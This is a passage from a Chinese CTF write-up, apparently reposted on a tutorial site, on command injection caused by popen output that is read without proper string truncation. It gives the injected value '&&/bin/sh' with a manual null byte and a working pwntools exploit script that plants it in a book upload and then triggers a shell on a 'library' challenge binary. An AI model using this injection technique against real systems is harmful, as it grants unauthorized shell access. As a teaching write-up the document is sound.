关于读取popen输出结果时未截断字符串导致的命令行注入详解

2020-01-06 18:41:28于海丽

所以很明显,只要把89123456789AAAA改成


'&&/bin/sh'x00

就可以getshell了。如前面所说。

其中,x00是我们自己手动截断,不然strtok还会继续往后读。

所以最后exp


#BBBB1234567891234567891234567'&&/bin/sh'
g_local = True
 
from pwn import *
 
if g_local:
 sh=process("./library")
else:
 sh=remote("xxxx",1234)
 
 
def upload_book(filename, content):
 filename += ".bk"
 sh.send("1n")
 sh.recvuntil("Book filename: ")
 print filename
 sh.send(filename + "n")
 sh.recvuntil("e-book contents: n")
 sh.send(content)
 sh.recvuntil("Enter command: ")
 
def list_books_and_shell():
 sh.send("2n")
 sh.interactive()
 
upload_book("1", "BBBB1234567891234567891234567'&&/bin/sh'x00")
list_books_and_shell()

0x05 后言

还有一点要注意,pwndbg好像会默认在fork时跟子进程,所以要在~/.gdbinit的最后面(加载pwndbg之后)加上set follow-fork-mode parent。并且,&&与命令之间不能加空格。因为他strtok是通过空格和换行分断字符串的,加了空格我们的payload就会被strtok分割开。

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对ASPKU的支持。


注:相关教程知识阅读请移步到C++教程频道。